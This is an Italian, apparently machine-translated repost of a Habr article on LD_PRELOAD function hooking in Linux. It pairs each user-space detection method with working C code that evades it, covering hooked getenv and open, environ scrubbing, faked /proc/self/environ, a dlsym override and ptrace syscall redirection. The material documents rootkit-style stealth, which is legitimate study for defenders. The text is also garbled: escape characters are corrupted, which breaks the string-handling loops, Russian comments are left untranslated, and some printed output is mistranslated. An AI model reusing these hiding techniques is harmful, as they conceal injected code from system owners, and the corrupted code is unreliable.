Questo appunto è stato scritto nel 2014, ma sono stato colpito da repressioni su Habr e non ha visto la luce. Durante il periodo di ban me ne sono dimenticato, ma ora l'ho ritrovato tra le bozze. Pensavo di eliminarlo, ma magari può essere utile a qualcuno.

In generale, una piccola lettura da amministratore per il venerdì sul tema della ricerca di un "incluso" LD_PRELOAD.
1. Una breve digressione per chi non è familiare con la sostituzione delle funzioni
Gli altri possono andare direttamente al p.2.
Iniziamo con un classico esempio:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand (time(NULL));
for(int i=0; i<5; i++){
printf ("%dn", rand()%100);
}
}
Compiliamo senza alcun flag:
$ gcc ./ld_rand.c -o ld_rand
E, come previsto, otteniamo 5 numeri casuali minori di 100:
$ ./ld_rand
53
93
48
57
20
Ma immaginiamo che non abbiamo il codice sorgente del programma e abbiamo bisogno di modificare il comportamento.
Creiamo la nostra libreria con il nostro prototipo di funzione, per esempio:
int rand(){
return 42;
}
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
E ora la nostra scelta casuale è piuttosto prevedibile:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42
Questo trucco appare ancora più impressionante se prima esportiamo la nostra libreria tramite
$ export LD_PRELOAD=$PWD/ld_rand.so
o eseguiamo prima
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
e poi avvieremo il programma in modalità normale. Non abbiamo cambiato nemmeno una riga del codice del programma stesso, ma il suo comportamento ora dipende da una piccola funzione nella nostra libreria. Inoltre, al momento della scrittura, il programma falso rand non esisteva.
Cosa ha spinto il nostro programma a utilizzare il falso rand? Разберем по шагам.
Quando l'app viene avviata, vengono caricate determinate librerie che contengono le funzioni necessarie per il programma. Possiamo esaminarle utilizzando ldd:
# ldd ./ld_rand
linux-vdso.so.1 (0x00007ffc8b1f3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
Questo elenco può variare a seconda della versione del sistema operativo, ma deve necessariamente contenere il file libc.so. Questa libreria fornisce chiamate di sistema e funzioni di base, come open, malloc, printf e altro ancora. Il nostro rand è incluso anche tra di loro. Verifichiamo questo:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand
Controlliamo se il set di librerie cambia utilizzando LD_PRELOAD
# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
linux-vdso.so.1 (0x00007ffea52ae000)
/scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
/lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
Si scopre che la variabile impostata LD_PRELOAD fa caricare la nostra ld_rand.so anche se il programma non la richiede. E, poiché la nostra funzione "rand" viene caricata prima di rand da libc.so, essa comanda.
Ok, siamo riusciti a sostituire la funzione nativa, ma vediamo come mantenere il suo funzionamento e aggiungere alcune azioni. Modifichiamo il nostro random:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
typedef int (*orig_rand_f_type)(void);
int rand()
{
/* Выполняем некий код */
printf("Evil injected coden");
orig_rand_f_type orig_rand;
orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
return orig_rand();
}
Qui come nostra «aggiunta» stampiamo solo una riga di testo, dopo di che creiamo un puntatore alla funzione originale rand. Per ottenere l'indirizzo di questa funzione avremo bisogno di dlsym — è una funzione della libreria libdl, che troverà il nostro rand nello stack delle librerie dinamiche. Dopo, chiameremo questa funzione e restituiremo il suo valore. Di conseguenza, dovremo aggiungere «-ldl» in fase di compilazione:
$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Codice malevolo iniettato
66
Codice malevolo iniettato
28
Codice malevolo iniettato
93
Codice malevolo iniettato
93
Codice malevolo iniettato
95
E il nostro programma utilizza il «nativo» rand, eseguendo prima alcune azioni non proprio raccomandabili.
2. Sofferenze nella ricerca
Sapendo del potenziale rischio, vogliamo scoprire che preload è stato eseguito. È chiaro che il modo migliore per rilevarlo è inserirlo nel kernel, ma ero interessato a opzioni di rilevamento nello user space.
Di seguito presenterò alcune soluzioni per la rilevazione e le loro confutazioni.
2.1. Iniziamo con qualcosa di semplice
Come già accennato, è possibile specificare la libreria da caricare utilizzando una variabile LD_PRELOAD o indicandola nel file /etc/ld.so.preload. Creiamo due semplici detector.
Il primo è per verificare la variabile d'ambiente installata:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
{
char* pGetenv = getenv("LD_PRELOAD");
pGetenv != NULL ?
printf("LD_PRELOAD (getenv) [+]n"):
printf("LD_PRELOAD (getenv) [-]n");
}
Il secondo è per controllare l'apertura del file:
#include <stdio.h>
#include <fcntl.h>
int main()
{
open("/etc/ld.so.preload", O_RDONLY) != -1 ?
printf("LD_PRELOAD (open) [+]n"):
printf("LD_PRELOAD (open) [-]n");
}
Carichiamo le librerie:
$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload
$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]
Qui e oltre [+] indica una rilevazione avvenuta con successo.
Di conseguenza, [-] significa che la rilevazione è stata aggirata.
Quanto è efficace questo rilevatore? Iniziamo con la variabile d'ambiente:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
return orig_getenv(name);
}
$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]
Allo stesso modo, ci liberiamo del controllo open:
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>
int (*orig_open)(const char*, int oflag) = NULL;
int open(const char *path, int oflag, ...)
{
char real_path[256];
if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0){
errno = ENOENT;
return -1;
}
return orig_open(path, oflag);
}
$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]
Sì, qui possono essere utilizzati altri metodi di accesso al file, come ad esempio, open64, stat ecc., ma, essenzialmente, per ingannarli sono necessarie le stesse 5-10 righe di codice.
2.2. Procediamo oltre
Prima abbiamo utilizzato getenv() per ottenere il valore LD_PRELOAD, ma esiste anche un modo più "a basso livello" per accedere a ENV-variabili. Non utilizzeremo funzioni intermedie, ma ci riferiremo all'array **environ, che contiene una copia dell'ambiente:
#include <stdio.h>
#include <string.h>
extern char **environ;
int main(int argc, char **argv) {
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++)
{
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL)
{
printf("LD_PRELOAD (**environ) [+]n");
return 0;
}
}
printf("LD_PRELOAD (**environ) [-]n");
return 0;
}
Poiché qui leggiamo i dati direttamente dalla memoria, questo tipo di chiamata non può essere intercettato, e il nostro undetect_getenv non interferisce più con la rilevazione delle intrusioni.
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]
A prima vista, sembra che il problema sia risolto? Sta per iniziare tutto.
Dopo che il programma è stato avviato, il valore della variabile LD_PRELOAD non è più necessario per i pirati informatici, quindi possiamo considerarlo e rimuoverlo prima di eseguire qualsiasi istruzione. Certo, modificare l'array in memoria è perlomeno una cattiva pratica di programmazione, ma può davvero fermare qualcuno che non ci desidera bene?
Per questo avremo bisogno di creare la nostra funzione fittizia init(), in cui intercetteremo il LD_PRELOAD e la passeremo al nostro linker:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;
// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
unsetenv(env);
break;
}
}
}
int execve(const char *path, char *const argv[], char *const envp[])
{
int i = 0, j = 0, k = -1, ret = 0;
char** new_env;
if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");
// Проверям не существует ли других установленных LD_PRELOAD
for(i = 0; envp[i]; i++){
if(strstr(envp[i], "LD_PRELOAD")) k = i;
}
// Если LD_PRELOAD не было установлено до нас, то добавим его
if(k == -1){
k = i;
i++;
}
// Создаём новое окружение
new_env = (char**) malloc((i+1)*sizeof(char*));
// Копируем старое окружение, за исключением LD_PRELOAD
for(j = 0; j < i; j++) {
// перезаписываем или создаём LD_PRELOAD
if(j == k) {
new_env[j] = (char*) malloc(256);
strcpy(new_env[j], "LD_PRELOAD=");
strcat(new_env[j], evil_env);
}
else new_env[j] = (char*) envp[j];
}
new_env[i] = NULL;
ret = orig_execve(path, argv, new_env);
free(new_env[k]);
free(new_env);
return ret;
}
Eseguiamo, controlliamo:
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]
2.3. /proc/self/
Tuttavia, la memoria non è l'ultimo posto in cui è possibile rilevare la sostituzione LD_PRELOAD, ce n'è anche un altro. /proc/Iniziamo dall'evidente /proc/{PID}/environ.
Esiste davvero una soluzione universale per undetect’а **environ e /proc/self/environ. Il problema risiede nel comportamento "errato" unsetenv(env).
la corretta soluzione
void evil_init()
{
// Prima salviamo il valore attuale di LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Rimuoviamo il corrente LD_PRELOAD
//unsetenv(env);
// Invece di unset, semplicemente azzeriamo la nostra variabile
for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
break;
}
}
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Ma immaginiamo che non l'abbiamo trovato e /proc/self/environ contiene dati "problematici".
Iniziamo a provare con la nostra precedente "mascheratura":
$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so
cat usa per aprire il file sempre lo stesso open(), quindi la soluzione è simile a quella già adottata nella p.2.1, ma ora creiamo un file temporaneo dove copiamo i valori della memoria reale senza le righe contenenti LD_PRELOAD.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#define BUFFER_SIZE 256
int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";
char *sstrstr(char *str, const char *sub)
{
int i, found;
char *ptr;
found = 0;
for(ptr = str; *ptr != ' '; ptr++) {
found = 1;
for(i = 0; found == 1 && sub[i] != ' '; i++){
if(sub[i] != ptr[i]) found = 0;
}
if(found == 1)
break;
}
if(found == 0)
return NULL;
return ptr + i;
}
void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
int fd;
char buffer[BUFFER_SIZE];
int bytes = -1;
int wbytes = -1;
int k = 0;
pid_t pid = getpid();
int fh;
if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
exit (42);
}
if((fd=orig_open(original_path, O_RDONLY))==-1) {
printf("LD: Cannot open read-file.n");
exit(42);
}
do
{
char t = 0;
bytes = read(fd, &t, 1);
buffer[k++] = t;
//printf("%c", t);
if(t == ' ') {
//printf("n");
if(!sstrstr(buffer, "LD_PRELOAD")) {
if((wbytes = write(fh,buffer,k))==-1) {
//printf("write errorn");
}
else {
//printf("writed %dn", wbytes);
}
}
k = 0;
}
}
while(bytes != 0);
close(fd);
close(fh);
}
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
pid_t pid = getpid();
if(!orig_open)
orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
if(strcmp(real_path, proc_path) == 0) {
snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
realpath(proc_path_0, proc_path);
fakeMaps(real_path, proc_path, soname);
return orig_open(proc_path, oflag);
}
return orig_open(path, oflag);
}
E questo passaggio è stato superato:
$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Il seguente posto ovvio è — /proc/self/maps. Non ha senso soffermarsi su di esso. La soluzione è esattamente la stessa della precedente: copiamo i dati dal file escludendo le righe tra libc.so e ld.so.
2.4. Opzione di Chokepoint
Questa soluzione mi è piaciuta particolarmente per la sua semplicità. Confrontiamo gli indirizzi delle funzioni caricate direttamente da libc, e l'indirizzo “NEXT”.
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int main(int argc, char *argv[]) {
void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
char *syscall_open = "open";
int i;
void *(*libc_func)();
void *(*next_func)();
libc_func = dlsym(libc, syscall_open);
next_func = dlsym(RTLD_NEXT, syscall_open);
if (libc_func != next_func) {
printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
printf("Libc address: %pn", libc_func);
printf("Next address: %pn", next_func);
}
else {
printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
}
return 0;
}
Carichiamo la libreria con il hook “open()” e verifichiamo:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Indirizzo Libc: 0x7fa86893b160
Indirizzo successivo: 0x7fa868a26135
La smentita si è rivelata ancora più semplice:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
return _dl_sym (handle, symbol, dlsym);
}
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]
2.5. Syscalls
Sembrerebbe che sia tutto, ma continuiamo a scavare. Se indirizziamo la chiamata di sistema direttamente al kernel, possiamo aggirare l'intero processo di hook. La soluzione qui sotto è ovviamente dipendente dall'architettura (x86_64). Proviamo a implementare per la rilevazione dell'apertura ld.so.preload.
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFFER_SIZE 256
int syscall_open(char *path, long oflag)
{
int fd = -1;
__asm__ (
"mov $2, %%rax;" // Open syscall number
"mov %1, %%rdi;" // Address of our string
"mov %2, %%rsi;" // Open mode
"mov $0, %%rdx;" // No create mode
"syscall;" // Straight to ring0
"mov %%eax, %0;" // Returned file descriptor
:"=r" (fd)
:"m" (path), "m" (oflag)
:"rax", "rdi", "rsi", "rdx"
);
return fd;
}
int main()
{
syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
printf("LD_PRELOAD (open syscall) [+]n"):
printf("LD_PRELOAD (open syscall) [-]n");
}
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
E questa problematica ha una soluzione. Estratto da man‘:
ptrace è uno strumento che consente a un processo genitore di monitorare e controllare l'andamento di un altro processo, visualizzando e modificando i suoi dati e registri. Di solito, questa funzione viene utilizzata per creare punti di interruzione in un programma di debug e per tracciare le chiamate di sistema.
Il processo genitore può avviare il tracciamento chiamando prima la funzione fork(2), e successivamente il processo figlio risultante può eseguire PTRACE_TRACEME, seguito (di solito) dall'esecuzione di exec(3). D'altra parte, il processo genitore può avviare il debug di un processo esistente usando PTRACE_ATTACH.
Durante il tracciamento, il processo figlio si ferma ogni volta che riceve un segnale, anche se quel segnale è ignorato. (L'eccezione è SIGKILL, che funziona normalmente.) Il processo genitore verrà informato di questo alla chiamata di wait(2), dopodiché può visualizzare e modificare il contenuto del processo figlio prima che riprenda. Dopodiché, il processo genitore consente al figlio di continuare a funzionare, a volte ignorando il segnale inviato o inviando invece un altro segnale.)
Pertanto, la soluzione consiste nel monitorare il processo, fermandolo prima di ogni chiamata di sistema e, se necessario, reindirizzando il flusso nella funzione di gestione delle eccezioni.
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>
#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip
#endif
long NOHOOK = 0;
long evil_open(const char *path, long oflag, long cflag)
{
char real_path[PATH_MAX], maps_path[PATH_MAX];
long ret;
pid_t pid;
pid = getpid();
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0)
{
errno = ENOENT;
ret = -1;
}
else
{
NOHOOK = 1; // Entering NOHOOK section
ret = open(path, oflag, cflag);
}
// Exiting NOHOOK section
NOHOOK = 0;
return ret;
}
void init()
{
pid_t program;
// Форкаем дочерний процесс
program = fork();
if(program != 0) {
int status;
long syscall_nr;
struct user_regs_struct regs;
// Подключаемся к дочернему процессу
if(ptrace(PTRACE_ATTACH, program) != 0) {
printf("Failed to attach to the program.n");
exit(1);
}
waitpid(program, &status, 0);
// Отслеживаем только SYSCALLs
ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
while(1) {
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
if(WIFEXITED(status) || WIFSIGNALED(status)) break;
else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
// Получаем номер системного вызова
syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
if(syscall_nr == __NR_open) {
// Читаем слово из памяти дочернего процесса
NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
// Перехватываем вызов
if(!NOHOOK) {
// Копируем регистры дочернего процесса
// в переменную regs родительского
ptrace(PTRACE_GETREGS, program, 0, ®s);
// Push return address on the stack
regs.REG_SP -= sizeof(long);
// Копируем слово в память дочернего процесса
ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
// Устанавливаем RIP по адресу evil_open
regs.REG_IP = (unsigned long) evil_open;
// Записываем состояние регистров процесса
ptrace(PTRACE_SETREGS, program, 0, ®s);
}
}
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
}
}
exit(0);
}
else {
sleep(0);
}
}
Controllando:
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]
+0-0=5
Mille grazie
, i cui articoli, sorgenti e commenti hanno fatto molto di più di quanto io abbia fatto per portare questa nota qui.
Fonte: habr.com
